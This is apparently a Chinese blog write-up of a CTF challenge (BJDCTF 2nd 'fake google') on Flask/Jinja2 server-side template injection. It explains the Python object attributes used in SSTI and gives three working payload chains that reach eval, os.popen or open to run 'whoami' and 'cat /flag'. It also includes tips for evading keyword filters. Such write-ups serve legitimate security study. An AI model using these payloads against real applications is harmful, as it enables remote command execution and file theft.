Life has its own fate, and meeting may not be accidental.

0%

记录一次ssti注入(flask)

上周BJDCTF有一道ssti注入题,当时瞎猫碰上死耗子,给我撞过去了。对Python,平常也没有C++和java用的频繁,记录一下正常思路。顺便学习一下,以后遇到了不能光靠运气撞过去了= =

一些简单注入

1
2
3
{{config}}可以获取当前设置
{{self}}
{{self.__dict__._TemplateReference__context.config}} 同样可以看到config

__class__ 返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块

[BJDCTF 2nd]fake google

大部分都是先查找warnings.catch_warnings模块中的OS模块,如果关键字被禁用了,可以用base64或者字符串拼接过去比如说'o'+'s'

还可以用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap。

第一种

1
2
3
4
5
6
7
8
9
10
().__class__.__bases__[0].__subclasses__() 
---查看可用模块

().__class__.base__.__subclasses__().index(warnings.catch_warnings)
可以查看当前位置,不过题目环境不能用。手动数吧= = 169位

{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
发现可以执行,构造命令
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
没有什么过滤= =友好!

第二种

1
2
3
4
5
或者找到os._wrap_close模块 117个
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}}
当前文件夹
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}
来打开文件,payload有很多慢慢摸索慢慢积累= =

第三种

1
2
3
我的payload:
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
我找的threading.Semaphore模块。。

参考

CTF SSTI(服务器模板注入)
BJDCTF-WP
SSTI/沙盒逃逸详细总结
https://xz.aliyun.com/t/3679